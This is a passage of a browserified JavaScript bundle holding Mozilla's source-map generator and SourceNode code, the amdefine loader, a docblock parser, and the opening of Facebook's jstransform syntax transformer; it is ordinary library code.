var name = util.getArg(aArgs, 'name', null);
this._validateMapping(generated, original, source, name);
if (source && !this._sources.has(source)) {
this._sources.add(source);
}
if (name && !this._names.has(name)) {
this._names.add(name);
}
this._mappings.push({
generatedLine: generated.line,
generatedColumn: generated.column,
originalLine: original != null && original.line,
originalColumn: original != null && original.column,
source: source,
name: name
});
};
/**
* Set the source content for a source file.
*/
SourceMapGenerator.prototype.setSourceContent =
function SourceMapGenerator_setSourceContent(aSourceFile, aSourceContent) {
var source = aSourceFile;
if (this._sourceRoot) {
source = util.relative(this._sourceRoot, source);
}
if (aSourceContent !== null) {
// Add the source content to the _sourcesContents map.
// Create a new _sourcesContents map if the property is null.
if (!this._sourcesContents) {
this._sourcesContents = {};
}
this._sourcesContents[util.toSetString(source)] = aSourceContent;
} else {
// Remove the source file from the _sourcesContents map.
// If the _sourcesContents map is empty, set the property to null.
delete this._sourcesContents[util.toSetString(source)];
if (Object.keys(this._sourcesContents).length === 0) {
this._sourcesContents = null;
}
}
};
/**
* Applies the mappings of a sub-source-map for a specific source file to the
* source map being generated. Each mapping to the supplied source file is
* rewritten using the supplied source map. Note: The resolution for the
* resulting mappings is the minimium of this map and the supplied map.
*
* @param aSourceMapConsumer The source map to be applied.
* @param aSourceFile Optional. The filename of the source file.
* If omitted, SourceMapConsumer's file property will be used.
*/
SourceMapGenerator.prototype.applySourceMap =
function SourceMapGenerator_applySourceMap(aSourceMapConsumer, aSourceFile) {
// If aSourceFile is omitted, we will use the file property of the SourceMap
if (!aSourceFile) {
aSourceFile = aSourceMapConsumer.file;
}
var sourceRoot = this._sourceRoot;
// Make "aSourceFile" relative if an absolute Url is passed.
if (sourceRoot) {
aSourceFile = util.relative(sourceRoot, aSourceFile);
}
// Applying the SourceMap can add and remove items from the sources and
// the names array.
var newSources = new ArraySet();
var newNames = new ArraySet();
// Find mappings for the "aSourceFile"
this._mappings.forEach(function (mapping) {
if (mapping.source === aSourceFile && mapping.originalLine) {
// Check if it can be mapped by the source map, then update the mapping.
var original = aSourceMapConsumer.originalPositionFor({
line: mapping.originalLine,
column: mapping.originalColumn
});
if (original.source !== null) {
// Copy mapping
if (sourceRoot) {
mapping.source = util.relative(sourceRoot, original.source);
} else {
mapping.source = original.source;
}
mapping.originalLine = original.line;
mapping.originalColumn = original.column;
if (original.name !== null && mapping.name !== null) {
// Only use the identifier name if it's an identifier
// in both SourceMaps
mapping.name = original.name;
}
}
}
var source = mapping.source;
if (source && !newSources.has(source)) {
newSources.add(source);
}
var name = mapping.name;
if (name && !newNames.has(name)) {
newNames.add(name);
}
}, this);
this._sources = newSources;
this._names = newNames;
// Copy sourcesContents of applied map.
aSourceMapConsumer.sources.forEach(function (sourceFile) {
var content = aSourceMapConsumer.sourceContentFor(sourceFile);
if (content) {
if (sourceRoot) {
sourceFile = util.relative(sourceRoot, sourceFile);
}
this.setSourceContent(sourceFile, content);
}
}, this);
};
/**
* A mapping can have one of the three levels of data:
*
* 1. Just the generated position.
* 2. The Generated position, original position, and original source.
* 3. Generated and original position, original source, as well as a name
* token.
*
* To maintain consistency, we validate that any new mapping being added falls
* in to one of these categories.
*/
SourceMapGenerator.prototype._validateMapping =
function SourceMapGenerator_validateMapping(aGenerated, aOriginal, aSource,
aName) {
if (aGenerated && 'line' in aGenerated && 'column' in aGenerated
&& aGenerated.line > 0 && aGenerated.column >= 0
&& !aOriginal && !aSource && !aName) {
// Case 1.
return;
}
else if (aGenerated && 'line' in aGenerated && 'column' in aGenerated
&& aOriginal && 'line' in aOriginal && 'column' in aOriginal
&& aGenerated.line > 0 && aGenerated.column >= 0
&& aOriginal.line > 0 && aOriginal.column >= 0
&& aSource) {
// Cases 2 and 3.
return;
}
else {
throw new Error('Invalid mapping: ' + JSON.stringify({
generated: aGenerated,
source: aSource,
orginal: aOriginal,
name: aName
}));
}
};
/**
* Serialize the accumulated mappings in to the stream of base 64 VLQs
* specified by the source map format.
*/
SourceMapGenerator.prototype._serializeMappings =
function SourceMapGenerator_serializeMappings() {
var previousGeneratedColumn = 0;
var previousGeneratedLine = 1;
var previousOriginalColumn = 0;
var previousOriginalLine = 0;
var previousName = 0;
var previousSource = 0;
var result = '';
var mapping;
// The mappings must be guaranteed to be in sorted order before we start
// serializing them or else the generated line numbers (which are defined
// via the ';' separators) will be all messed up. Note: it might be more
// performant to maintain the sorting as we insert them, rather than as we
// serialize them, but the big O is the same either way.
this._mappings.sort(util.compareByGeneratedPositions);
for (var i = 0, len = this._mappings.length; i < len; i++) {
mapping = this._mappings[i];
if (mapping.generatedLine !== previousGeneratedLine) {
previousGeneratedColumn = 0;
while (mapping.generatedLine !== previousGeneratedLine) {
result += ';';
previousGeneratedLine++;
}
}
else {
if (i > 0) {
if (!util.compareByGeneratedPositions(mapping, this._mappings[i - 1])) {
continue;
}
result += ',';
}
}
result += base64VLQ.encode(mapping.generatedColumn
- previousGeneratedColumn);
previousGeneratedColumn = mapping.generatedColumn;
if (mapping.source) {
result += base64VLQ.encode(this._sources.indexOf(mapping.source)
- previousSource);
previousSource = this._sources.indexOf(mapping.source);
// lines are stored 0-based in SourceMap spec version 3
result += base64VLQ.encode(mapping.originalLine - 1
- previousOriginalLine);
previousOriginalLine = mapping.originalLine - 1;
result += base64VLQ.encode(mapping.originalColumn
- previousOriginalColumn);
previousOriginalColumn = mapping.originalColumn;
if (mapping.name) {
result += base64VLQ.encode(this._names.indexOf(mapping.name)
- previousName);
previousName = this._names.indexOf(mapping.name);
}
}
}
return result;
};
SourceMapGenerator.prototype._generateSourcesContent =
function SourceMapGenerator_generateSourcesContent(aSources, aSourceRoot) {
return aSources.map(function (source) {
if (!this._sourcesContents) {
return null;
}
if (aSourceRoot) {
source = util.relative(aSourceRoot, source);
}
var key = util.toSetString(source);
return Object.prototype.hasOwnProperty.call(this._sourcesContents,
key)
? this._sourcesContents[key]
: null;
}, this);
};
/**
* Externalize the source map.
*/
SourceMapGenerator.prototype.toJSON =
function SourceMapGenerator_toJSON() {
var map = {
version: this._version,
file: this._file,
sources: this._sources.toArray(),
names: this._names.toArray(),
mappings: this._serializeMappings()
};
if (this._sourceRoot) {
map.sourceRoot = this._sourceRoot;
}
if (this._sourcesContents) {
map.sourcesContent = this._generateSourcesContent(map.sources, map.sourceRoot);
}
return map;
};
/**
* Render the source map being generated to a string.
*/
SourceMapGenerator.prototype.toString =
function SourceMapGenerator_toString() {
return JSON.stringify(this);
};
exports.SourceMapGenerator = SourceMapGenerator;
});
},{"./array-set":9,"./base64-vlq":10,"./util":16,"amdefine":17}],15:[function(_dereq_,module,exports){
/* -*- Mode: js; js-indent-level: 2; -*- */
/*
* Copyright 2011 Mozilla Foundation and contributors
* Licensed under the New BSD license. See LICENSE or:
* http://opensource.org/licenses/BSD-3-Clause
*/
if (typeof define !== 'function') {
var define = _dereq_('amdefine')(module, _dereq_);
}
define(function (_dereq_, exports, module) {
var SourceMapGenerator = _dereq_('./source-map-generator').SourceMapGenerator;
var util = _dereq_('./util');
/**
* SourceNodes provide a way to abstract over interpolating/concatenating
* snippets of generated JavaScript source code while maintaining the line and
* column information associated with the original source code.
*
* @param aLine The original line number.
* @param aColumn The original column number.
* @param aSource The original source's filename.
* @param aChunks Optional. An array of strings which are snippets of
* generated JS, or other SourceNodes.
* @param aName The original identifier.
*/
function SourceNode(aLine, aColumn, aSource, aChunks, aName) {
this.children = [];
this.sourceContents = {};
this.line = aLine === undefined ? null : aLine;
this.column = aColumn === undefined ? null : aColumn;
this.source = aSource === undefined ? null : aSource;
this.name = aName === undefined ? null : aName;
if (aChunks != null) this.add(aChunks);
}
/**
* Creates a SourceNode from generated code and a SourceMapConsumer.
*
* @param aGeneratedCode The generated code
* @param aSourceMapConsumer The SourceMap for the generated code
*/
SourceNode.fromStringWithSourceMap =
function SourceNode_fromStringWithSourceMap(aGeneratedCode, aSourceMapConsumer) {
// The SourceNode we want to fill with the generated code
// and the SourceMap
var node = new SourceNode();
// The generated code
// Processed fragments are removed from this array.
var remainingLines = aGeneratedCode.split('\n');
// We need to remember the position of "remainingLines"
var lastGeneratedLine = 1, lastGeneratedColumn = 0;
// The generate SourceNodes we need a code range.
// To extract it current and last mapping is used.
// Here we store the last mapping.
var lastMapping = null;
aSourceMapConsumer.eachMapping(function (mapping) {
if (lastMapping === null) {
// We add the generated code until the first mapping
// to the SourceNode without any mapping.
// Each line is added as separate string.
while (lastGeneratedLine < mapping.generatedLine) {
node.add(remainingLines.shift() + "\n");
lastGeneratedLine++;
}
if (lastGeneratedColumn < mapping.generatedColumn) {
var nextLine = remainingLines[0];
node.add(nextLine.substr(0, mapping.generatedColumn));
remainingLines[0] = nextLine.substr(mapping.generatedColumn);
lastGeneratedColumn = mapping.generatedColumn;
}
} else {
// We add the code from "lastMapping" to "mapping":
// First check if there is a new line in between.
if (lastGeneratedLine < mapping.generatedLine) {
var code = "";
// Associate full lines with "lastMapping"
do {
code += remainingLines.shift() + "\n";
lastGeneratedLine++;
lastGeneratedColumn = 0;
} while (lastGeneratedLine < mapping.generatedLine);
// When we reached the correct line, we add code until we
// reach the correct column too.
if (lastGeneratedColumn < mapping.generatedColumn) {
var nextLine = remainingLines[0];
code += nextLine.substr(0, mapping.generatedColumn);
remainingLines[0] = nextLine.substr(mapping.generatedColumn);
lastGeneratedColumn = mapping.generatedColumn;
}
// Create the SourceNode.
addMappingWithCode(lastMapping, code);
} else {
// There is no new line in between.
// Associate the code between "lastGeneratedColumn" and
// "mapping.generatedColumn" with "lastMapping"
var nextLine = remainingLines[0];
var code = nextLine.substr(0, mapping.generatedColumn -
lastGeneratedColumn);
remainingLines[0] = nextLine.substr(mapping.generatedColumn -
lastGeneratedColumn);
lastGeneratedColumn = mapping.generatedColumn;
addMappingWithCode(lastMapping, code);
}
}
lastMapping = mapping;
}, this);
// We have processed all mappings.
// Associate the remaining code in the current line with "lastMapping"
// and add the remaining lines without any mapping
addMappingWithCode(lastMapping, remainingLines.join("\n"));
// Copy sourcesContent into SourceNode
aSourceMapConsumer.sources.forEach(function (sourceFile) {
var content = aSourceMapConsumer.sourceContentFor(sourceFile);
if (content) {
node.setSourceContent(sourceFile, content);
}
});
return node;
function addMappingWithCode(mapping, code) {
if (mapping === null || mapping.source === undefined) {
node.add(code);
} else {
node.add(new SourceNode(mapping.originalLine,
mapping.originalColumn,
mapping.source,
code,
mapping.name));
}
}
};
/**
* Add a chunk of generated JS to this source node.
*
* @param aChunk A string snippet of generated JS code, another instance of
* SourceNode, or an array where each member is one of those things.
*/
SourceNode.prototype.add = function SourceNode_add(aChunk) {
if (Array.isArray(aChunk)) {
aChunk.forEach(function (chunk) {
this.add(chunk);
}, this);
}
else if (aChunk instanceof SourceNode || typeof aChunk === "string") {
if (aChunk) {
this.children.push(aChunk);
}
}
else {
throw new TypeError(
"Expected a SourceNode, string, or an array of SourceNodes and strings. Got " + aChunk
);
}
return this;
};
/**
* Add a chunk of generated JS to the beginning of this source node.
*
* @param aChunk A string snippet of generated JS code, another instance of
* SourceNode, or an array where each member is one of those things.
*/
SourceNode.prototype.prepend = function SourceNode_prepend(aChunk) {
if (Array.isArray(aChunk)) {
for (var i = aChunk.length-1; i >= 0; i--) {
this.prepend(aChunk[i]);
}
}
else if (aChunk instanceof SourceNode || typeof aChunk === "string") {
this.children.unshift(aChunk);
}
else {
throw new TypeError(
"Expected a SourceNode, string, or an array of SourceNodes and strings. Got " + aChunk
);
}
return this;
};
/**
* Walk over the tree of JS snippets in this node and its children. The
* walking function is called once for each snippet of JS and is passed that
* snippet and the its original associated source's line/column location.
*
* @param aFn The traversal function.
*/
SourceNode.prototype.walk = function SourceNode_walk(aFn) {
var chunk;
for (var i = 0, len = this.children.length; i < len; i++) {
chunk = this.children[i];
if (chunk instanceof SourceNode) {
chunk.walk(aFn);
}
else {
if (chunk !== '') {
aFn(chunk, { source: this.source,
line: this.line,
column: this.column,
name: this.name });
}
}
}
};
/**
* Like `String.prototype.join` except for SourceNodes. Inserts `aStr` between
* each of `this.children`.
*
* @param aSep The separator.
*/
SourceNode.prototype.join = function SourceNode_join(aSep) {
var newChildren;
var i;
var len = this.children.length;
if (len > 0) {
newChildren = [];
for (i = 0; i < len-1; i++) {
newChildren.push(this.children[i]);
newChildren.push(aSep);
}
newChildren.push(this.children[i]);
this.children = newChildren;
}
return this;
};
/**
* Call String.prototype.replace on the very right-most source snippet. Useful
* for trimming whitespace from the end of a source node, etc.
*
* @param aPattern The pattern to replace.
* @param aReplacement The thing to replace the pattern with.
*/
SourceNode.prototype.replaceRight = function SourceNode_replaceRight(aPattern, aReplacement) {
var lastChild = this.children[this.children.length - 1];
if (lastChild instanceof SourceNode) {
lastChild.replaceRight(aPattern, aReplacement);
}
else if (typeof lastChild === 'string') {
this.children[this.children.length - 1] = lastChild.replace(aPattern, aReplacement);
}
else {
this.children.push(''.replace(aPattern, aReplacement));
}
return this;
};
/**
* Set the source content for a source file. This will be added to the SourceMapGenerator
* in the sourcesContent field.
*
* @param aSourceFile The filename of the source file
* @param aSourceContent The content of the source file
*/
SourceNode.prototype.setSourceContent =
function SourceNode_setSourceContent(aSourceFile, aSourceContent) {
this.sourceContents[util.toSetString(aSourceFile)] = aSourceContent;
};
/**
* Walk over the tree of SourceNodes. The walking function is called for each
* source file content and is passed the filename and source content.
*
* @param aFn The traversal function.
*/
SourceNode.prototype.walkSourceContents =
function SourceNode_walkSourceContents(aFn) {
for (var i = 0, len = this.children.length; i < len; i++) {
if (this.children[i] instanceof SourceNode) {
this.children[i].walkSourceContents(aFn);
}
}
var sources = Object.keys(this.sourceContents);
for (var i = 0, len = sources.length; i < len; i++) {
aFn(util.fromSetString(sources[i]), this.sourceContents[sources[i]]);
}
};
/**
* Return the string representation of this source node. Walks over the tree
* and concatenates all the various snippets together to one string.
*/
SourceNode.prototype.toString = function SourceNode_toString() {
var str = "";
this.walk(function (chunk) {
str += chunk;
});
return str;
};
/**
* Returns the string representation of this source node along with a source
* map.
*/
SourceNode.prototype.toStringWithSourceMap = function SourceNode_toStringWithSourceMap(aArgs) {
var generated = {
code: "",
line: 1,
column: 0
};
var map = new SourceMapGenerator(aArgs);
var sourceMappingActive = false;
var lastOriginalSource = null;
var lastOriginalLine = null;
var lastOriginalColumn = null;
var lastOriginalName = null;
this.walk(function (chunk, original) {
generated.code += chunk;
if (original.source !== null
&& original.line !== null
&& original.column !== null) {
if(lastOriginalSource !== original.source
|| lastOriginalLine !== original.line
|| lastOriginalColumn !== original.column
|| lastOriginalName !== original.name) {
map.addMapping({
source: original.source,
original: {
line: original.line,
column: original.column
},
generated: {
line: generated.line,
column: generated.column
},
name: original.name
});
}
lastOriginalSource = original.source;
lastOriginalLine = original.line;
lastOriginalColumn = original.column;
lastOriginalName = original.name;
sourceMappingActive = true;
} else if (sourceMappingActive) {
map.addMapping({
generated: {
line: generated.line,
column: generated.column
}
});
lastOriginalSource = null;
sourceMappingActive = false;
}
chunk.split('').forEach(function (ch) {
if (ch === '\n') {
generated.line++;
generated.column = 0;
} else {
generated.column++;
}
});
});
this.walkSourceContents(function (sourceFile, sourceContent) {
map.setSourceContent(sourceFile, sourceContent);
});
return { code: generated.code, map: map };
};
exports.SourceNode = SourceNode;
});
},{"./source-map-generator":14,"./util":16,"amdefine":17}],16:[function(_dereq_,module,exports){
/* -*- Mode: js; js-indent-level: 2; -*- */
/*
* Copyright 2011 Mozilla Foundation and contributors
* Licensed under the New BSD license. See LICENSE or:
* http://opensource.org/licenses/BSD-3-Clause
*/
if (typeof define !== 'function') {
var define = _dereq_('amdefine')(module, _dereq_);
}
define(function (_dereq_, exports, module) {
/**
* This is a helper function for getting values from parameter/options
* objects.
*
* @param args The object we are extracting values from
* @param name The name of the property we are getting.
* @param defaultValue An optional value to return if the property is missing
* from the object. If this is not specified and the property is missing, an
* error will be thrown.
*/
function getArg(aArgs, aName, aDefaultValue) {
if (aName in aArgs) {
return aArgs[aName];
} else if (arguments.length === 3) {
return aDefaultValue;
} else {
throw new Error('"' + aName + '" is a required argument.');
}
}
exports.getArg = getArg;
var urlRegexp = /([\w+\-.]+):\/\/((\w+:\w+)@)?([\w.]+)?(:(\d+))?(\S+)?/;
var dataUrlRegexp = /^data:.+\,.+/;
function urlParse(aUrl) {
var match = aUrl.match(urlRegexp);
if (!match) {
return null;
}
return {
scheme: match[1],
auth: match[3],
host: match[4],
port: match[6],
path: match[7]
};
}
exports.urlParse = urlParse;
function urlGenerate(aParsedUrl) {
var url = aParsedUrl.scheme + "://";
if (aParsedUrl.auth) {
url += aParsedUrl.auth + "@"
}
if (aParsedUrl.host) {
url += aParsedUrl.host;
}
if (aParsedUrl.port) {
url += ":" + aParsedUrl.port
}
if (aParsedUrl.path) {
url += aParsedUrl.path;
}
return url;
}
exports.urlGenerate = urlGenerate;
function join(aRoot, aPath) {
var url;
if (aPath.match(urlRegexp) || aPath.match(dataUrlRegexp)) {
return aPath;
}
if (aPath.charAt(0) === '/' && (url = urlParse(aRoot))) {
url.path = aPath;
return urlGenerate(url);
}
return aRoot.replace(/\/$/, '') + '/' + aPath;
}
exports.join = join;
/**
* Because behavior goes wacky when you set `__proto__` on objects, we
* have to prefix all the strings in our set with an arbitrary character.
*
* See https://github.com/mozilla/source-map/pull/31 and
* https://github.com/mozilla/source-map/issues/30
*
* @param String aStr
*/
function toSetString(aStr) {
return '$' + aStr;
}
exports.toSetString = toSetString;
function fromSetString(aStr) {
return aStr.substr(1);
}
exports.fromSetString = fromSetString;
function relative(aRoot, aPath) {
aRoot = aRoot.replace(/\/$/, '');
var url = urlParse(aRoot);
if (aPath.charAt(0) == "/" && url && url.path == "/") {
return aPath.slice(1);
}
return aPath.indexOf(aRoot + '/') === 0
? aPath.substr(aRoot.length + 1)
: aPath;
}
exports.relative = relative;
function strcmp(aStr1, aStr2) {
var s1 = aStr1 || "";
var s2 = aStr2 || "";
return (s1 > s2) - (s1 < s2);
}
/**
* Comparator between two mappings where the original positions are compared.
*
* Optionally pass in `true` as `onlyCompareGenerated` to consider two
* mappings with the same original source/line/column, but different generated
* line and column the same. Useful when searching for a mapping with a
* stubbed out mapping.
*/
function compareByOriginalPositions(mappingA, mappingB, onlyCompareOriginal) {
var cmp;
cmp = strcmp(mappingA.source, mappingB.source);
if (cmp) {
return cmp;
}
cmp = mappingA.originalLine - mappingB.originalLine;
if (cmp) {
return cmp;
}
cmp = mappingA.originalColumn - mappingB.originalColumn;
if (cmp || onlyCompareOriginal) {
return cmp;
}
cmp = strcmp(mappingA.name, mappingB.name);
if (cmp) {
return cmp;
}
cmp = mappingA.generatedLine - mappingB.generatedLine;
if (cmp) {
return cmp;
}
return mappingA.generatedColumn - mappingB.generatedColumn;
};
exports.compareByOriginalPositions = compareByOriginalPositions;
/**
* Comparator between two mappings where the generated positions are
* compared.
*
* Optionally pass in `true` as `onlyCompareGenerated` to consider two
* mappings with the same generated line and column, but different
* source/name/original line and column the same. Useful when searching for a
* mapping with a stubbed out mapping.
*/
function compareByGeneratedPositions(mappingA, mappingB, onlyCompareGenerated) {
var cmp;
cmp = mappingA.generatedLine - mappingB.generatedLine;
if (cmp) {
return cmp;
}
cmp = mappingA.generatedColumn - mappingB.generatedColumn;
if (cmp || onlyCompareGenerated) {
return cmp;
}
cmp = strcmp(mappingA.source, mappingB.source);
if (cmp) {
return cmp;
}
cmp = mappingA.originalLine - mappingB.originalLine;
if (cmp) {
return cmp;
}
cmp = mappingA.originalColumn - mappingB.originalColumn;
if (cmp) {
return cmp;
}
return strcmp(mappingA.name, mappingB.name);
};
exports.compareByGeneratedPositions = compareByGeneratedPositions;
});
},{"amdefine":17}],17:[function(_dereq_,module,exports){
(function (process,__filename){
/** vim: et:ts=4:sw=4:sts=4
* @license amdefine 0.1.0 Copyright (c) 2011, The Dojo Foundation All Rights Reserved.
* Available via the MIT or new BSD license.
* see: http://github.com/jrburke/amdefine for details
*/
/*jslint node: true */
/*global module, process */
'use strict';
/**
* Creates a define for node.
* @param {Object} module the "module" object that is defined by Node for the
* current module.
* @param {Function} [requireFn]. Node's require function for the current module.
* It only needs to be passed in Node versions before 0.5, when module.require
* did not exist.
* @returns {Function} a define function that is usable for the current node
* module.
*/
function amdefine(module, requireFn) {
'use strict';
var defineCache = {},
loaderCache = {},
alreadyCalled = false,
path = _dereq_('path'),
makeRequire, stringRequire;
/**
* Trims the . and .. from an array of path segments.
* It will keep a leading path segment if a .. will become
* the first path segment, to help with module name lookups,
* which act like paths, but can be remapped. But the end result,
* all paths that use this function should look normalized.
* NOTE: this method MODIFIES the input array.
* @param {Array} ary the array of path segments.
*/
function trimDots(ary) {
var i, part;
for (i = 0; ary[i]; i+= 1) {
part = ary[i];
if (part === '.') {
ary.splice(i, 1);
i -= 1;
} else if (part === '..') {
if (i === 1 && (ary[2] === '..' || ary[0] === '..')) {
//End of the line. Keep at least one non-dot
//path segment at the front so it can be mapped
//correctly to disk. Otherwise, there is likely
//no path mapping for a path starting with '..'.
//This can still fail, but catches the most reasonable
//uses of ..
break;
} else if (i > 0) {
ary.splice(i - 1, 2);
i -= 2;
}
}
}
}
function normalize(name, baseName) {
var baseParts;
//Adjust any relative paths.
if (name && name.charAt(0) === '.') {
//If have a base name, try to normalize against it,
//otherwise, assume it is a top-level require that will
//be relative to baseUrl in the end.
if (baseName) {
baseParts = baseName.split('/');
baseParts = baseParts.slice(0, baseParts.length - 1);
baseParts = baseParts.concat(name.split('/'));
trimDots(baseParts);
name = baseParts.join('/');
}
}
return name;
}
/**
* Create the normalize() function passed to a loader plugin's
* normalize method.
*/
function makeNormalize(relName) {
return function (name) {
return normalize(name, relName);
};
}
function makeLoad(id) {
function load(value) {
loaderCache[id] = value;
}
load.fromText = function (id, text) {
//This one is difficult because the text can/probably uses
//define, and any relative paths and requires should be relative
//to that id was it would be found on disk. But this would require
//bootstrapping a module/require fairly deeply from node core.
//Not sure how best to go about that yet.
throw new Error('amdefine does not implement load.fromText');
};
return load;
}
makeRequire = function (systemRequire, exports, module, relId) {
function amdRequire(deps, callback) {
if (typeof deps === 'string') {
//Synchronous, single module require('')
return stringRequire(systemRequire, exports, module, deps, relId);
} else {
//Array of dependencies with a callback.
//Convert the dependencies to modules.
deps = deps.map(function (depName) {
return stringRequire(systemRequire, exports, module, depName, relId);
});
//Wait for next tick to call back the require call.
process.nextTick(function () {
callback.apply(null, deps);
});
}
}
amdRequire.toUrl = function (filePath) {
if (filePath.indexOf('.') === 0) {
return normalize(filePath, path.dirname(module.filename));
} else {
return filePath;
}
};
return amdRequire;
};
//Favor explicit value, passed in if the module wants to support Node 0.4.
requireFn = requireFn || function req() {
return module.require.apply(module, arguments);
};
function runFactory(id, deps, factory) {
var r, e, m, result;
if (id) {
e = loaderCache[id] = {};
m = {
id: id,
uri: __filename,
exports: e
};
r = makeRequire(requireFn, e, m, id);
} else {
//Only support one define call per file
if (alreadyCalled) {
throw new Error('amdefine with no module ID cannot be called more than once per file.');
}
alreadyCalled = true;
//Use the real variables from node
//Use module.exports for exports, since
//the exports in here is amdefine exports.
e = module.exports;
m = module;
r = makeRequire(requireFn, e, m, module.id);
}
//If there are dependencies, they are strings, so need
//to convert them to dependency values.
if (deps) {
deps = deps.map(function (depName) {
return r(depName);
});
}
//Call the factory with the right dependencies.
if (typeof factory === 'function') {
result = factory.apply(m.exports, deps);
} else {
result = factory;
}
if (result !== undefined) {
m.exports = result;
if (id) {
loaderCache[id] = m.exports;
}
}
}
stringRequire = function (systemRequire, exports, module, id, relId) {
//Split the ID by a ! so that
var index = id.indexOf('!'),
originalId = id,
prefix, plugin;
if (index === -1) {
id = normalize(id, relId);
//Straight module lookup. If it is one of the special dependencies,
//deal with it, otherwise, delegate to node.
if (id === 'require') {
return makeRequire(systemRequire, exports, module, relId);
} else if (id === 'exports') {
return exports;
} else if (id === 'module') {
return module;
} else if (loaderCache.hasOwnProperty(id)) {
return loaderCache[id];
} else if (defineCache[id]) {
runFactory.apply(null, defineCache[id]);
return loaderCache[id];
} else {
if(systemRequire) {
return systemRequire(originalId);
} else {
throw new Error('No module with ID: ' + id);
}
}
} else {
//There is a plugin in play.
prefix = id.substring(0, index);
id = id.substring(index + 1, id.length);
plugin = stringRequire(systemRequire, exports, module, prefix, relId);
if (plugin.normalize) {
id = plugin.normalize(id, makeNormalize(relId));
} else {
//Normalize the ID normally.
id = normalize(id, relId);
}
if (loaderCache[id]) {
return loaderCache[id];
} else {
plugin.load(id, makeRequire(systemRequire, exports, module, relId), makeLoad(id), {});
return loaderCache[id];
}
}
};
//Create a define function specific to the module asking for amdefine.
function define(id, deps, factory) {
if (Array.isArray(id)) {
factory = deps;
deps = id;
id = undefined;
} else if (typeof id !== 'string') {
factory = id;
id = deps = undefined;
}
if (deps && !Array.isArray(deps)) {
factory = deps;
deps = undefined;
}
if (!deps) {
deps = ['require', 'exports', 'module'];
}
//Set up properties for this module. If an ID, then use
//internal cache. If no ID, then use the external variables
//for this node module.
if (id) {
//Put the module in deep freeze until there is a
//require call for it.
defineCache[id] = [id, deps, factory];
} else {
runFactory(id, deps, factory);
}
}
//define.require, which has access to all the values in the
//cache. Useful for AMD modules that all have IDs in the file,
//but need to finally export a value to node based on one of those
//IDs.
define.require = function (id) {
if (loaderCache[id]) {
return loaderCache[id];
}
if (defineCache[id]) {
runFactory.apply(null, defineCache[id]);
return loaderCache[id];
}
};
define.amd = {};
return define;
}
module.exports = amdefine;
}).call(this,_dereq_("/Users/poshannessy/FB/code/react/node_modules/browserify/node_modules/insert-module-globals/node_modules/process/browser.js"),"/../node_modules/jstransform/node_modules/source-map/node_modules/amdefine/amdefine.js")
},{"/Users/poshannessy/FB/code/react/node_modules/browserify/node_modules/insert-module-globals/node_modules/process/browser.js":4,"path":5}],18:[function(_dereq_,module,exports){
/**
* Copyright 2013 Facebook, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
var docblockRe = /^\s*(\/\*\*(.|\r?\n)*?\*\/)/;
var ltrimRe = /^\s*/;
/**
* @param {String} contents
* @return {String}
*/
function extract(contents) {
var match = contents.match(docblockRe);
if (match) {
return match[0].replace(ltrimRe, '') || '';
}
return '';
}
var commentStartRe = /^\/\*\*?/;
var commentEndRe = /\*+\/$/;
var wsRe = /[\t ]+/g;
var stringStartRe = /(\r?\n|^) *\*/g;
var multilineRe = /(?:^|\r?\n) *(@[^\r\n]*?) *\r?\n *([^@\r\n\s][^@\r\n]+?) *\r?\n/g;
var propertyRe = /(?:^|\r?\n) *@(\S+) *([^\r\n]*)/g;
/**
* @param {String} contents
* @return {Array}
*/
function parse(docblock) {
docblock = docblock
.replace(commentStartRe, '')
.replace(commentEndRe, '')
.replace(wsRe, ' ')
.replace(stringStartRe, '$1');
// Normalize multi-line directives
var prev = '';
while (prev != docblock) {
prev = docblock;
docblock = docblock.replace(multilineRe, "\n$1 $2\n");
}
docblock = docblock.trim();
var result = [];
var match;
while (match = propertyRe.exec(docblock)) {
result.push([match[1], match[2]]);
}
return result;
}
/**
* Same as parse but returns an object of prop: value instead of array of paris
* If a property appers more than once the last one will be returned
*
* @param {String} contents
* @return {Object}
*/
function parseAsObject(docblock) {
var pairs = parse(docblock);
var result = {};
for (var i = 0; i < pairs.length; i++) {
result[pairs[i][0]] = pairs[i][1];
}
return result;
}
exports.extract = extract;
exports.parse = parse;
exports.parseAsObject = parseAsObject;
},{}],19:[function(_dereq_,module,exports){
/**
* Copyright 2013 Facebook, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*jslint node: true*/
"use strict";
/**
* Syntax transfomer for javascript. Takes the source in, spits the source
* out.
*
* Parses input source with esprima, applies the given list of visitors to the
* AST tree, and returns the resulting output.
*/
var esprima = _dereq_('esprima-fb');
var utils = _dereq_('./utils');
var Syntax = esprima.Syntax;
/**
* @param {object} node
* @param {object} parentNode
* @return {boolean}
*/
function _nodeIsClosureScopeBoundary(node, parentNode) {
if (node.type === Syntax.Program) {
return true;
}
var parentIsFunction =
parentNode.type === Syntax.FunctionDeclaration
|| parentNode.type === Syntax.FunctionExpression;
return node.type === Syntax.BlockStatement && parentIsFunction;
}
function _nodeIsBlockScopeBoundary(node, parentNode) {
if (node.type === Syntax.Program) {
return false;
}
return node.type === Syntax.BlockStatement
&& parentNode.type === Syntax.CatchClause;
}
/**
* @param {object} node
* @param {function} visitor
* @param {array} path
* @param {object} state
*/
function traverse(node, path, state) {
// Create a scope stack entry if this is the first node we've encountered in
// its local scope
var parentNode = path[0];
if (!Array.isArray(node) && state.localScope.parentNode !== parentNode) {
if (_nodeIsClosureScopeBoundary(node, parentNode)) {
var scopeIsStrict =
state.scopeIsStrict
|| node.body.length > 0
&& node.body[0].type === Syntax.ExpressionStatement
&& node.body[0].expression.type === Syntax.Literal
&& node.body[0].expression.value === 'use strict';
if (node.type === Syntax.Program) {
state = utils.updateState(state, {
scopeIsStrict: scopeIsStrict
});
} else {
state = utils.updateState(state, {
localScope: {
parentNode: parentNode,
parentScope: state.localScope,
identifiers: {}
},
scopeIsStrict: scopeIsStrict
});
// All functions have an implicit 'arguments' object in scope
